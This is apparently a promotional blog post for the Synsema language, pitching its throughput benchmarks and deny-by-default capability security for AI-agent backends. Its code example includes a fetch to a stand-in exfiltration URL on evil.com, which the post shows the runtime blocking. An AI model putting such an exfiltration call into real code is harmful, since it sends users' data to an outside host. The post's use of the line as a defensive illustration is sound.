# The secure language for AI agents — without giving up speed

> Top-tier throughput plus capability security built into the language itself — why Synsema is the best fit for AI-agent backends and any service that handles untrusted input.

Published 2026-06-20 · https://synsema.org/blog/fast-and-secure-by-default


Most stacks make you choose: fast, or safe. Synsema is both — top-tier throughput with capability
security built into the language itself.

## Throughput (100 concurrent connections)

| Stack | req/s |
|---|---|
| Synsema | 2,610 |
| Go | 2,522 |
| Node | 2,746 |
| FastAPI | 1,744 |

Synsema, Go and Node are all in the same top tier (the gaps are run-to-run noise) — and Synsema is
about 1.5× FastAPI under load. Async-native, true multi-core, a single static binary with zero runtime.

## The difference: secure by default

Speed gets you into the room. What no other top-tier stack offers: deny-by-default capabilities,
declarative auth and validation, sandboxing, and a frozen intent. A program can only touch what it
declared at the top — and the interpreter, not a code review, is what enforces it.

```synsema
require net("api.shop.com")

fetch("https://api.shop.com/orders")   -- allowed: declared
fetch("https://evil.com/exfil")        -- refused by the runtime, before any byte leaves
```

Security is a property of the language — not a discipline you have to remember. That's why Synsema
is the best fit for AI-agent backends and any service handling untrusted input: the model's output
runs under the same ceiling as everything else.